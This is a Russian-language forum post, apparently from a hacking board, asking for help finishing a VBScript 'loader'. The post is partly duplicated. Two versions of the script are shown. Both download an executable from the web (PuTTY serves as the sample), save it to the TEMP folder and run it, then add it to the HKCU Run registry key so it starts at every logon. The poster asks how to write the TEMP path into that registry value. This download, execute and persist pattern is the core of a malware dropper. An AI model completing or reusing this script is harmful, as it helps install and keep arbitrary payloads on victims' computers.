Я совершенно не знаком с VB - поэтому и обращаюсь сюда.
нужно написать загрузчик, который будет загружать файл в дерикторию %ТЕМП%
Я накидал примерно вот такой вот скрипт :
[SRC]
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "C:\Users\SKYNET\AppData\Local\Temp\putty.exe", 2 '//overwrite
end with
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run "C:\Users\SKYNET\AppData\Local\Temp\putty.exe"
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window","C:\Users\SKYNET\AppData\Local\Temp\putty.exe","REG_SZ"
[/SRC]
Проблема в том, что я не могу разобраться с тем, как мне указать путь к этой папке без полного адреса. Как обозначить эту папку, допустим, как в бат файлах?
Немного покопавшись в интернете я смог модифицировать до такой вот стадии:
[SRC]
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")
tempFolder = environmentVars("TEMP")
Fileopen = tempFolder + "\putty.exe"
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile Fileopen, 2
end with
CreateObject("WScript.Shell").Run(""& Fileopen &""),1
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window","понятия не имею как указать путь до файла","REG_SZ"
[/SRC]
То есть файл действительно летит из сети в папку ТЕМП, но как прописать его в реестре, я совершенно не имею понимания. Пожалуйста, помогите мне - если кто то знает чем дополнить скрипт, как прописать путь к файлу в папке темп, не указывая имя юзер-профиля.
нужно написать загрузчик, который будет загружать файл в дерикторию %ТЕМП%
Я накидал примерно вот такой вот скрипт :
[SRC]
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
", FalsexHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "C:\Users\SKYNET\AppData\Local\Temp\putty.exe", 2 '//overwrite
end with
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run "C:\Users\SKYNET\AppData\Local\Temp\putty.exe"
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window","C:\Users\SKYNET\AppData\Local\Temp\putty.exe","REG_SZ"
[/SRC]
Проблема в том, что я не могу разобраться с тем, как мне указать путь к этой папке без полного адреса. Как обозначить эту папку, допустим, как в бат файлах?
Немного покопавшись в интернете я смог модифицировать до такой вот стадии:
[SRC]
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")
tempFolder = environmentVars("TEMP")
Fileopen = tempFolder + "\putty.exe"
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile Fileopen, 2
end with
CreateObject("WScript.Shell").Run(""& Fileopen &""),1
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window","понятия не имею как указать путь до файла","REG_SZ"
[/SRC]
То есть файл действительно летит из сети в папку ТЕМП, но как прописать его в реестре, я совершенно не имею понимания. Пожалуйста, помогите мне - если кто то знает чем дополнить скрипт, как прописать путь к файлу в папке темп, не указывая имя юзер-профиля.